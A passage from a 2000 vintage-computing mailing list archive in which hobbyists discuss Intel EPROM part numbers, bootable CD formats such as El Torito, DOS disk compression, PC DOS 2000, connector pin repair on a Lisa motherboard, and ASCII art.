command anyway. With a 1 floppy > system, you have a *virtual* B: and the system will automatically ask you > for source and destination disks when it wants you to swap them. > > HTH, > Roger "Merch" Merchberger > -- > Roger "Merch" Merchberger --- sysadmin, Iceberg Computers > Recycling is good, right??? Ok, so I'll recycle an old .sig. > > If at first you don't succeed, nuclear warhead > disarmament should *not* be your first career choice. > From eric at brouhaha.com Wed May 24 20:56:30 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: <004601bfc5ca$31a33b30$7864c0d0@ajp166> (allisonp@world.std.com) References: <004601bfc5ca$31a33b30$7864c0d0@ajp166> Message-ID: <20000525015630.447.qmail@brouhaha.com> I wrote: > The 8205 and 3205 are exactly the same part. Allison wrote: > Not according to my intel books, similar but it's like saying a 74ls138 is > the > same as 74hct138... very close. Apparently there was a process difference. > Though intel did at times morph one part/process into another. According to the 1980 Component Data Catalog, the specifications for the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all the graphs. From richard at idcomm.com Wed May 24 20:59:39 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:53 2005 Subject: Bootable Floppy from CD? References: Message-ID: <007f01bfc5ec$e6e84a40$0400c0a8@winbook> Is that the one they settled on? When I left the beta group they were kicking around a number of names like "Torito" and a few others that got me to thinking about Tacoritos, etc. I'll certainly admit that High Sierra doesn't sound so much like a Taco Bell item. It's been a few years since I last visited a Taco Bell, though, there might be something that sounds like that. Dick ----- Original Message ----- From: Charles P. Hobbs (SoCalTip) To: Sent: Wednesday, May 24, 2000 7:47 PM Subject: Re: Bootable Floppy from CD? > > > On Wed, 24 May 2000, Richard Erlacher wrote: > > > > > If your motherboad is modern enough, it should support bootable CD's, but I > > don't know what the appropriate spec for a bootable CD would be. I do > > recall that ISO9660 or whatever it was is NOT the right format. IIRC, it > > had a name that sounded like it belonged on the Taco Bell menu. I got out > > "High Sierra"??? > From eric at brouhaha.com Wed May 24 21:03:30 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: <20000525010125.32524.qmail@brouhaha.com> (message from Eric Smith on 25 May 2000 01:01:25 -0000) References: <004801bfc5ca$33120d70$7864c0d0@ajp166> <003401bfc5e1$b2b84f00$0400c0a8@winbook> <20000525010125.32524.qmail@brouhaha.com> Message-ID: <20000525020330.493.qmail@brouhaha.com> I wrote: > Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel > 2758 is a half-bad 2716, but my fuzzy recollection from that era was that > the ones I looked at had substantially different die sizes. For half-bad > parts Intel usually added a suffix to the part number to denote which half > was bad, and I didn't see such a designation on any of the 2758s I used. Checking the 1980 Component Data Catalog reveals that those who claimed that 2758 was a half-good 2716 are almost certainly correct. The electrical specifications match the standard speed-grade (no suffix) 2716. Pin 19, which is A10 on a 2716, is called "Ar" on a 2758, and is specified in the DC and Operating Characteristics table as an input which should be in the range of -0.1 to 0.8 V (i.e., logic 0). However, footnote 4 of that table states: Ar is a reference voltage level which requires an input current of only 10 uA. The 2758 S1865 is also available which has a reference voltage level of Vih instead of Vil. Essentially the same information is restated in the paragraph "Device Operation". It's very interesting how carefully they avoided making any statements that pin 19 is an address line, instead calling it a reference voltage. From eric at brouhaha.com Wed May 24 21:08:18 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: <006d01bfc5eb$41ee83c0$0400c0a8@winbook> (richard@idcomm.com) References: <004801bfc5ca$33120d70$7864c0d0@ajp166> <003401bfc5e1$b2b84f00$0400c0a8@winbook> <20000525010125.32524.qmail@brouhaha.com> <006d01bfc5eb$41ee83c0$0400c0a8@winbook> Message-ID: <20000525020818.510.qmail@brouhaha.com> "Richard Erlacher" wrote: > Eric, I hope I'm not crazy . . . My recollection of the Intel 8748 board, > for which series I recall Intel cooked up the 87xx part numbers, had > silkscreened on it "It's a 5-Volt world" though they didn't use 5-volt-to > whatever they wanted to use for RS232 converters. The memories didn't see > any power supply other than +5. True of things like the 8755, which was introduced at about the same time. But the 8708 was from a few years earlier, and was definitely marketed as an EPROM for use with the 8080. I don't have any pre-1980 Data Catalogs handy, but I'm 99.99% certain that the 8708 was just a different designation for the 2708, just as the 8102 is a 2102, and the 8205 is a 3205. From elvey at hal.com Wed May 24 22:05:14 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: <20000525010125.32524.qmail@brouhaha.com> Message-ID: <200005250305.UAA20103@civic.hal.com> Eric Smith wrote: > "Richard Erlacher" wrote: > > I didn't realize that Intel made any 2508's. > > I don't think they did. That was TI's part number for the 5V 1K*8 EPROM. > > Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel > 2758 is a half-bad 2716, but my fuzzy recollection from that era was that > the ones I looked at had substantially different die sizes. Hi I don't think that die size meant much. I was working for Intel at the time these came out ( not in memory department ) and they were making die size changes on regular basis. It seemed like every 3 or 4 months, we'd look into the windows and see a smaller die for the same labled part. They may have made a 1Kx8 part but I never saw one. The ones I saw were always 2716 chips. I think later on, they were not even separating out the half bad parts, they were just using good die from the 2716 line because of the extra cost of handling and the higher yield. I think you'll still find that the extra address line was to be tied to one level even though they didn't have the Hi/Lo select that the earlier ones did. Dwight From elvey at hal.com Wed May 24 22:06:29 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: <20000525015630.447.qmail@brouhaha.com> Message-ID: <200005250306.UAA20176@civic.hal.com> Eric Smith wrote: > > According to the 1980 Component Data Catalog, the specifications for > the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all > the graphs. Hi Not surprised! Typical Intel tricks. Dwight From SUPRDAVE at aol.com Wed May 24 22:13:24 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:51:53 2005 Subject: Bootable Floppy from CD? Message-ID: <31.58ae1a4.265df454@aol.com> In a message dated 5/24/00 10:05:16 PM Eastern Daylight Time, richard@idcomm.com writes: > I've never encountered that version 6.3. I've got a few sets of install > disketted for DOS 6.21, which was made up for DELL, specifically without the > compression support in it or among its utilities. I, havning spent much > time testing the more popular compression schemes, am an avid user of > compression. I've found it to be no more problem-prone than plain-vanilla > DOS, yet the maintenance tools (scandisk) seem to work better on compressed > volumes than on uncompressed. Compression does seem to enhance disk > subsystem preformance. If you have a solid backup regimen, you should never > have to worry about data loss just because you use compression. I found > that DRVSPACE yielded about a 15% performance increase and had no added risk > of system failure. I also found that the risk of data loss was actually > lower (based on my substantial but still relatively small data sample) than > that with uncompressed data, probably due to the more effective error > management tools. > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the editor. how in the world can one realise 15% performance increase running disk compression? logic would indicate a degradation since you are running an extra task to compress the hard drive not to mention less memory space in the UMBs to load the compression driver high. i do not use any sort of disk compression and never recommend it to anyone. i supported end users, and there were too many times when users compressed their hard drives, and ended up hosing them. only option to them was fdisk and reinstall. K.I.S.S. DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From allisonp at world.std.com Wed May 24 21:41:06 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions Message-ID: <003e01bfc5f4$2b5b2970$7564c0d0@ajp166> >.. very close. Apparently there was a process difference. >> Though intel did at times morph one part/process into another. > >According to the 1980 Component Data Catalog, the specifications for >the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all >the graphs. By 1980 intel was shifting to mos/Hmos/HmosII and by then those parts were way down the the process scaling and 32xx were nearly extinct. In 76, that was not the case. Keep in mind my comment that intel did morph parts into one another. Allison From allisonp at world.std.com Wed May 24 21:47:16 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions Message-ID: <004001bfc5f4$2cc6c760$7564c0d0@ajp166> - > I was talking about Intel's 5 volt '08. They may have been >called 2758 or 2508, I don't recall. As far as I know, >Intel never specifically made a 5 volt 1Kx8 EPROM die, only >the 2Kx8. TI was first out with a single rail '08 and was Yes they did. early 2758 was half good 2716. Later it was small die 1k as there was market demand. >doing in the 2708 sales from Intel. That is when Intel started >relabling the half bad 2716's( Yes, I know that the pinout are the 2708 was a different pinout from the 2716. >to do with what we were talking about? ). Early on these half >bad parts were cheaper than 2716's but later in their life, >they were list as being more expensive. EBayism struck, later they were nearly out of production and Rare. But the products that needed them lived on. hance the high price near end of life. Allison >Dwight >\ From allisonp at world.std.com Wed May 24 21:44:07 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions Message-ID: <003f01bfc5f4$2c18ad10$7564c0d0@ajp166> --->Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel >2758 is a half-bad 2716, but my fuzzy recollection from that era was that >the ones I looked at had substantially different die sizes. For half-bad >parts Intel usually added a suffix to the part number to denote which half >was bad, and I didn't see such a designation on any of the 2758s I used. I have samples of both with the same PN large die half bad and small die 1k part. >> My sense is that they called their 5-volt parts 8708's. > >Nope, that required the same supplies as the 2708, since it was >really the same part. Both right, same part. Different catalongs and different years. >Because there *wasn't* an industry standard on the 2K*8 EPROM at the time >when TI and Intel both announced their parts. I think Intel's move to >the single 5V supply caught TI completely by surprise. That and TI cpu of the time (TI9900) was three voltage so any system was likely to have the needed voltages. What caught TI off guard is the industry desire for single voltage. Allison From cem14 at cornell.edu Wed May 24 23:21:12 2000 From: cem14 at cornell.edu (Carlos Murillo) Date: Sun Feb 27 18:51:54 2005 Subject: Bootable Floppy from CD? In-Reply-To: References: <005401bfc5e2$e298aac0$0400c0a8@winbook> Message-ID: <3.0.2.32.20000525002112.010fcb38@postoffice3.mail.cornell.edu> At 08:47 PM 5/24/00 -0500, you wrote: >On Wed, 24 May 2000, Richard Erlacher wrote: >> If your motherboad is modern enough, it should support bootable CD's, but I >> don't know what the appropriate spec for a bootable CD would be. I do >> recall that ISO9660 or whatever it was is NOT the right format. IIRC, it >> had a name that sounded like it belonged on the Taco Bell menu. I got out > >"High Sierra"??? El Torito. The origin? beats me. From richard at idcomm.com Wed May 24 23:30:44 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:54 2005 Subject: Bootable Floppy from CD? References: <31.58ae1a4.265df454@aol.com> Message-ID: <009801bfc601$ff96c0c0$0400c0a8@winbook> ----- Original Message ----- From: To: Sent: Wednesday, May 24, 2000 9:13 PM Subject: Re: Bootable Floppy from CD? > In a message dated 5/24/00 10:05:16 PM Eastern Daylight Time, > richard@idcomm.com writes: > > DOS, yet the maintenance tools (scandisk) seem to work better on compressed > > volumes than on uncompressed. Compression does seem to enhance disk > > subsystem preformance. If you have a solid backup regimen, you should > never > > have to worry about data loss just because you use compression. I found > > that DRVSPACE yielded about a 15% performance increase and had no added > risk > > of system failure. I also found that the risk of data loss was actually > > lower (based on my substantial but still relatively small data sample) > than > > that with uncompressed data, probably due to the more effective error > > management tools. > > > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > editor. how in the world can one realise 15% performance increase running > disk compression? logic would indicate a degradation since you are running an > extra task to compress the hard drive not to mention less memory space in the > UMBs to load the compression driver high. i do not use any sort of disk > compression and never recommend it to anyone. i supported end users, and > there were too many times when users compressed their hard drives, and ended > up hosing them. only option to them was fdisk and reinstall. K.I.S.S. > > DB Young ICQ: 29427634 > > hurry, hurry, step right up! see the computers you used as a kid! > http://members.aol.com/suprdave/classiccmp/museum.htm > > The way in which the disk subsystem produces a performance increase is quite simple. With nominal 2x (just to make the numbers easy) compression, the platter holds 2x as much data, which means that on average, a given track holds twice the data, hence, there are half as many seeks required in transfer of a given amount of data. A seek even for one cylinder, takes milliseconds, not the relatively few microseconds required to decompress a buffer full of data, which the system does on the fly. So, if you have to transfer 512KB of data, once, you won't see much difference, but if you have to execute a task which requires you to look at, say, 20 MB of data, over the course of which you have to make 40 average seeks when you're operating without compression, you'd ostensibly have to make half as many seeks because, in reality when you move 20 MB of compressed data, you really have to move only 10 MB of data, and, on average that will require half as many seeks. If an average seek for your drive is, say 8 ms, which is a reasonably fast drive, then instead of 320 milliseconds, you'll only use 160 for 20 average seeks, and, by the way, the time used to move that data is negligible next to the time, orders of magnitude more, that is used moving the heads and waiting for the platter to rotate in to the appropriate position. Today's processors are many hundreds if not a few thousands of times faster than the mechanical system on your disk drives. Moving the heads takes time in the milliseconds, i.e. thousands of microseconds, while the decompression algorithm is done by the otherwise idle processor (remember what software we're using !) that's executing instructions in a few tens of nanoseconds. The CPU works in parallel with the intelligence on the drive to accomplish the decompression. It's still idle or waiting for the drive 90% of the time. You're right in that it makes for more complex I/O and file management code, but it's just a drop in the bucket, and it's a drop that increases the rotating memory subsystem performance significantly. Dick From richard at idcomm.com Wed May 24 23:34:37 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:54 2005 Subject: Altair parts substitutions References: <003e01bfc5f4$2b5b2970$7564c0d0@ajp166> Message-ID: <00a201bfc602$89313180$0400c0a8@winbook> You're right about the PMOS=> NMOS=>HMOS=>CMOS shifts in technology, but I'd be surprised to learn that the 3000 series parts as well as the 82xx bipolar parts weren't manufactured by NS, MMI, or TI. Dick ----- Original Message ----- From: allisonp To: Sent: Wednesday, May 24, 2000 8:41 PM Subject: Re: Altair parts substitutions > > >.. very close. Apparently there was a process difference. > >> Though intel did at times morph one part/process into another. > > > >According to the 1980 Component Data Catalog, the specifications for > >the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all > >the graphs. > > > By 1980 intel was shifting to mos/Hmos/HmosII and by then those > parts were way down the the process scaling and 32xx were nearly > extinct. In 76, that was not the case. Keep in mind my comment that > intel did morph parts into one another. > > Allison > > From jimw at agora.rdrop.com Wed May 24 23:46:59 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:51:54 2005 Subject: Wanted: Apple Power Macintosh Message-ID: <3.0.3.32.20000524214659.009b0190@agora.rdrop.com> Ok, perhaps not quite falling into the '10 year' rule... but this seemed as good a place to start as any. I need a Mac capable of running Internet Exploder for a project, which means some level of "PowerMAC"... A low to mid level unit would do, probably something along the line of a 7100 or 8100. The AV model would be nice, but not required... So, anyone have a unit like this that they would part with? If so, please drop me a note with asking price and or possible trades. Thanks; -jim --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From wilson at dbit.dbit.com Wed May 24 23:52:07 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:54 2005 Subject: Bootable Floppy from CD? In-Reply-To: <31.58ae1a4.265df454@aol.com>; from SUPRDAVE@aol.com on Wed, May 24, 2000 at 11:13:24PM -0400 References: <31.58ae1a4.265df454@aol.com> Message-ID: <20000525005207.A29409@dbit.dbit.com> On Wed, May 24, 2000 at 11:13:24PM -0400, SUPRDAVE@aol.com wrote: > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > editor. how in the world can one realise 15% performance increase running > disk compression? logic would indicate a degradation since you are running an > extra task to compress the hard drive not to mention less memory space in the > UMBs to load the compression driver high. I have trouble buying this too, but if the CPU and disk drive speed are totally out of whack with one another, the disk could be so slow that the CPU can inflate N KB of data to 2*N KB faster than the disk can read 2*N KB of uncompressed data. Anyway IBM is still in the DOS business, and I gotta respect them just for that! The latest flavor I know of is "PC DOS 2000", nice to see some recent work being done, even if they re-used the previous documentation (it's a PC DOS 7 manual with a sticker on the front that says PC DOS 2000). John Wilson D Bit From richard at idcomm.com Wed May 24 23:55:41 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:54 2005 Subject: Bootable Floppy from CD? References: <31.58ae1a4.265df454@aol.com> <20000525005207.A29409@dbit.dbit.com> Message-ID: <00b201bfc605$7aec35e0$0400c0a8@winbook> So, does this PCDOS 2000 have any useful characteristics that MSDOS lacks? Dick ----- Original Message ----- From: John Wilson To: Sent: Wednesday, May 24, 2000 10:52 PM Subject: Re: Bootable Floppy from CD? > On Wed, May 24, 2000 at 11:13:24PM -0400, SUPRDAVE@aol.com wrote: > > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > > editor. how in the world can one realise 15% performance increase running > > disk compression? logic would indicate a degradation since you are running an > > extra task to compress the hard drive not to mention less memory space in the > > UMBs to load the compression driver high. > > I have trouble buying this too, but if the CPU and disk drive speed are > totally out of whack with one another, the disk could be so slow that the > CPU can inflate N KB of data to 2*N KB faster than the disk can read 2*N KB > of uncompressed data. > > Anyway IBM is still in the DOS business, and I gotta respect them just > for that! The latest flavor I know of is "PC DOS 2000", nice to see some > recent work being done, even if they re-used the previous documentation > (it's a PC DOS 7 manual with a sticker on the front that says PC DOS 2000). > > John Wilson > D Bit > From whdawson at mlynk.com Thu May 25 00:18:11 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:51:54 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: Message-ID: <000001bfc608$9e9eaba0$9ae3dfd0@cobweb.net> -> > It appears to me that the motherboard socket that is missing -> > one pin will need to be replaced. Anybody have any recommendations on how -> > to best do this? The motherboard is a four layer board. I have -> > soldering/desoldering experience, but I've never tackled an item with this many pins -> > on a 4 layer board before. -> -> Assuming the old connector is worthless (or at least worth a lot less -> than the motherboard), I'd recommend breaking it up and removing it in -> sections. -> -> Sometimes you can cut away the plastic _carefully_ (you don't want to -> damage any tracks on the board). More often, if you heat the pin -> from the -> solder side of the board you can pull it out on the component side -- -> right out of the plastic housing (which will melt slightly from -> the heat). -> -> Once you've got all the pins out and the housing removed, then melt the -> solder in each hole with the iron from one side of the board and -> suck out -> the solder (with a solder sucker or 'Soldapulit' (IIRC)) from the other. -> Put the new connector in place and resolder it. -> -> If you can get a spare pin of the right size you _might_ be able to -> remove the broken pin only, clean out the solder from the 'back' of the -> board and put a new pin in place, leaving the rest of the pins (and -> connector housing) alone. I've done it a couple of times My thoughts exactly. Of course the broken one can't be grasped and pulled through if it is broken off flush with the connector, but it may be able to be heated and pushed through enough to nab. Barring that, I've used a sharp stainless steel pick the same diameter of the pins to push pins through enough to get a hold of them on the connector side. Just heat the pad and the pin (it help to apply a little extra solder), and once the pin is loose in the hole gently push the pin. Sometimes it also helps to trim the solder side of the pin flat so the pick won't slide off. Once the broken pin is out, remove one from another connector by pulling it out. A little heat may make the job easier if it is stubborn. Then, assuming the pin hole has been cleaned of solder, push in the replacement pin and resolder it. This is always much easier, IMHO, than replacing an entire connector for just one broken pin. Bill -> -> -tony -> From mranalog at home.com Thu May 25 02:12:58 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:51:54 2005 Subject: ASCII art Message-ID: <392CD27A.853F6C86@home.com> "McFadden, Mike" wrote: > Example: > picture value array 1 array2 array3 > 0 space space space > 1 period space space > 2 colon space space > 3 plus space space > . > . > . > 9 0 W M A couple of years ago, after reading the chapter on ASCII art in "The New RTTY Handbook", I wrote a quick and dirty program to to convert .BMP files into non-overstrike ASCII pictures I could send in emails. From the book, I created my levels of "gray" in 8 levels with this character array: M H I : " , . [SP] (from dark to light) I'm curious as to the rest of the characters in your arrays. Do you remember which characters you used? --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From pete at dunnington.u-net.com Thu May 25 03:18:05 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:54 2005 Subject: Bootable Floppy from CD? In-Reply-To: Chuck McManis "Bootable Floppy from CD?" (May 24, 17:45) References: <392C779A.7663DB0C@mcmanis.com> Message-ID: <10005250918.ZM1450@indy.dunnington.u-net.com> On May 24, 17:45, Chuck McManis wrote: > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. As Roger pointed out, you're better to keep a boot floppy (or several varieties) -- it's more reliable. Bootable CDs require BIOS support which not all BIOSes have. On May 25, 0:56, Eric Smith wrote: > What I use on Linux to back up images of 1440K floppies is: > dd if=/dev/fd0 of=floppy.img bs=18k [...] > There's a DOS program called "rawrite" that can recreate floppies All true, and Chuck may find it useful to have several floppy images on a CD, but that won't make the CD bootable. An IDE CDROM doesn't look the same as an IDE hardrive, as far as the BIOS is concerned, so 'dd' from a bootable harddrive won't work. On Wed, 24 May 2000, Richard Erlacher wrote: > don't know what the appropriate spec for a bootable CD would be. I do > recall that ISO9660 or whatever it was is NOT the right format. If you want a bootable CD for a PC, you *do* make it ISO 9660 format but with an El Torito boot catalog addition (Carlos was right about the name). As far as I remember, what this actually does is make a CD that has an image of a boot floppy embedded within it, but if you really want to know how it works, look in Andy McFadden's CD-R FAQ, or check the standard at http://www.ptltd.com/techs/specs.html . The "bootableness" isn't a function of DOS, by the way; it's a function of the BIOS, and you would make a bootable Linux CD the same way. On May 24, 20:47, Charles P. Hobbs (SoCalTip) wrote: > "High Sierra"??? FYI, High Sierra is nothing to do with El Torito -- it's the name of the format system used prior to the ISO 9660 standard, and from which the ISO standard was derived. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Thu May 25 04:00:28 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:54 2005 Subject: Bootable Floppy from CD? In-Reply-To: pete@indy (Pete Turnbull) "Re: Bootable Floppy from CD?" (May 25, 8:18) References: <392C779A.7663DB0C@mcmanis.com> <10005250918.ZM1450@indy.dunnington.u-net.com> Message-ID: <10005251000.ZM1484@indy.dunnington.u-net.com> On May 25, 8:18, Pete Turnbull wrote: > If you want a bootable CD for a PC, you *do* make it ISO 9660 format but > with an El Torito boot catalog addition Idiot -- after all that, I forgot to say *how*. I think Adaptec's CD Creator software will do El Torito. However, if you have (access to) a Unix (Linux, Solaris, Irix, etc) system, the best way is to use 'mkisofs' to create the image and then 'cdrecord' or 'cdwrite' to write it. -- Pete Peter Turnbull Dept. of Computer Science University of York From pechter at pechter.dyndns.org Thu May 25 05:54:41 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:54 2005 Subject: PCDOS 2000 In-Reply-To: <20000525005207.A29409@dbit.dbit.com> from John Wilson at "May 25, 2000 00:52:07 am" Message-ID: <200005251054.GAA06131@bg-tc-ppp858.monmouth.com> > On Wed, May 24, 2000 at 11:13:24PM -0400, SUPRDAVE@aol.com wrote: > > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > > editor. how in the world can one realise 15% performance increase running > > disk compression? logic would indicate a degradation since you are running an > > extra task to compress the hard drive not to mention less memory space in the > > UMBs to load the compression driver high. > > I have trouble buying this too, but if the CPU and disk drive speed are > totally out of whack with one another, the disk could be so slow that the > CPU can inflate N KB of data to 2*N KB faster than the disk can read 2*N KB > of uncompressed data. > > Anyway IBM is still in the DOS business, and I gotta respect them just > for that! The latest flavor I know of is "PC DOS 2000", nice to see some > recent work being done, even if they re-used the previous documentation > (it's a PC DOS 7 manual with a sticker on the front that says PC DOS 2000). > > John Wilson > D Bit > > I think PCDOS 2000 would've just been PCDOS 7.1 if it wasn't for the y2k marketing fever. It's interesting that they've been using the Ramboost from Central Point Software in it years after CPS got swallowed and eradicated by Symantec. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From dhquebbeman at theestopinalgroup.com Thu May 25 07:43:54 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:51:54 2005 Subject: Wanted: Apple Power Macintosh Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD48@tegntserver.tegjeff.com> IE Exploder 4.5 for the Mac can install as PowerPC, 68k, or FAT (both). I just checked mine; it's a FAT app. hth, -dq > -----Original Message----- > From: James Willing [mailto:jimw@agora.rdrop.com] > Sent: Thursday, May 25, 2000 12:47 AM > To: classiccmp@classiccmp.org > Subject: Wanted: Apple Power Macintosh > > > Ok, perhaps not quite falling into the '10 year' rule... but > this seemed as > good a place to start as any. > > I need a Mac capable of running Internet Exploder for a project, which > means some level of "PowerMAC"... A low to mid level unit would do, > probably something along the line of a 7100 or 8100. The AV > model would be > nice, but not required... > > So, anyone have a unit like this that they would part with? > If so, please > drop me a note with asking price and or possible trades. > > Thanks; > -jim > > --- > jimw@computergarage.org > The Computer Garage - http://www.computergarage.org > Computer Garage Fax - (503) 646-0174 > From allisonp at world.std.com Thu May 25 08:09:33 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:54 2005 Subject: Altair parts substitutions In-Reply-To: <00a201bfc602$89313180$0400c0a8@winbook> Message-ID: On Wed, 24 May 2000, Richard Erlacher wrote: > You're right about the PMOS=> NMOS=>HMOS=>CMOS shifts in technology, but > I'd be surprised to learn that the 3000 series parts as well as the 82xx > bipolar parts weren't manufactured by NS, MMI, or TI. > > Dick Exactly. Intel had bipolar fab but limited capability. Actually you forgot Signetics and likely others that were used as silicon foundaries. This is something that has always been commonplace in the industry. However no one ever supplied the 3000 two bit slice other than intel. Allison > ----- Original Message ----- > From: allisonp > To: > Sent: Wednesday, May 24, 2000 8:41 PM > Subject: Re: Altair parts substitutions > > > > > > >.. very close. Apparently there was a process difference. > > >> Though intel did at times morph one part/process into another. > > > > > >According to the 1980 Component Data Catalog, the specifications for > > >the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all > > >the graphs. > > > > > > By 1980 intel was shifting to mos/Hmos/HmosII and by then those > > parts were way down the the process scaling and 32xx were nearly > > extinct. In 76, that was not the case. Keep in mind my comment that > > intel did morph parts into one another. > > > > Allison > > > > > From jfoust at threedee.com Thu May 25 09:40:54 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:55 2005 Subject: Wanted: Apple Power Macintosh In-Reply-To: <3.0.3.32.20000524214659.009b0190@agora.rdrop.com> Message-ID: <4.3.0.20000525093914.0233ea90@pc> At 09:46 PM 5/24/00 -0700, James Willing wrote: >So, anyone have a unit like this that they would part with? If so, please >drop me a note with asking price and or possible trades. A quick eBay search reveals that many, many are available, and depending on options and bundled hardware, they go for $50 to $200. I seem to remember similar models for $30 or so at the local university surplus sale, but some were stripped. - John From jfoust at threedee.com Thu May 25 10:02:46 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:02 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> Message-ID: <4.3.0.20000525095559.022d1600@pc> At 05:45 PM 5/24/00 -0700, Chuck McManis wrote: >In an effort to preserve all my miscellaneous driver floppies I've been >copying them to CD-rom. I figured I should also do this for my DOS 6.3 >disks but realized that I don't know how to create a bootable DOS 6.3 >system disk from the disk itself. I've considered using dd(1) on unix to >create just the disk image that I can later use dd to copy back out but >was wondering if perhaps there was a better way. People seem to have confused your request. I did not think you wanted a bootable CD. :-) The 'dd' approach has a few failings. One, it's not tolerant of bad sectors, right? Two, I think you'd need to be sure that your box's settings could handle all the old variations of disk capacity from the old days. Three, raw disk images aren't easily searchable and indexable in the same way as 'tar' or 'zip', but of course those formats wouldn't handle the boot sectors. After all, you'd want to find things after you archived them. I talk about a few of these issues on my page at http://www.threedee.com/jcm/diskutil/. - John From jfoust at threedee.com Thu May 25 10:03:05 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:02 2005 Subject: Bootable Floppy from CD? In-Reply-To: <3.0.2.32.20000525002112.010fcb38@postoffice3.mail.cornell. edu> References: <005401bfc5e2$e298aac0$0400c0a8@winbook> Message-ID: <4.3.0.20000525083956.02c6c210@pc> At 12:21 AM 5/25/00 -0400, Carlos Murillo wrote: > >"High Sierra"??? > >El Torito. >The origin? beats me. I think these formats were developed around the time of beta Win95, code-named "Chicago". Other projects were named after cities or puns of cities. I recall other CD formats of Romeo and Joliet (as in the city in Illinois) that allowed long-style Windows filenames on older ISO9660 discs. The Unix equivalent trick is Rock Ridge. Mapquest.com didn't find an El Torito city in the USA, though, so perhaps they named it after any number of Mexican restaurants. http://www.cdpage.com/Compact_Disc_Variations/variationsi.html is a good guide to all this. - John From mranalog at home.com Thu May 25 10:13:25 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:52:02 2005 Subject: Strange box Message-ID: <392D4315.1CDB0D59@home.com> ************** I'm sending this again because my first attempt went to classiccmp-classiccmp-org@jade.tseinc.com and was rejected. If you are receiving a second copy of this,ignore it. ************** Joe wrote: > I found this in a pile of surplus computers yesterday. Can anyone tell > me what it is? It looks like an ordinary external 5 1/4" drive box but on > the back of the box it has a DB-25M connector marked "MODEM/CPU" and a > DB-25F connector marked "TERMINAL". There's also a rotary switch labeled > "RATE" with positions marked "10", "30", "120", "240", "480", 960" and > "EXT". Then there's a toggle switch with positions marked "BIN CTRL ON" > "ODD" and "EVEN". And another toggle switch with positons marked "FULL" and > "HALF". It has a socket for a standard AC line cord. It's made by Techtran > Industries of Rochester, N.Y. and it's a model 950A. My guess is that it's > a disk drive that's made to go between a terminal and it's MODEM or > computer but I've never heard of one before. If that's what it is, then > how do you give it coomands? Joe, I don't think this is one of those file-system/data logger type drives,I have one of those and it has a keypad on the front of the drive you use to open a disk file before dumping serial data to it and to close the file when you're done. Instead, I think you have a 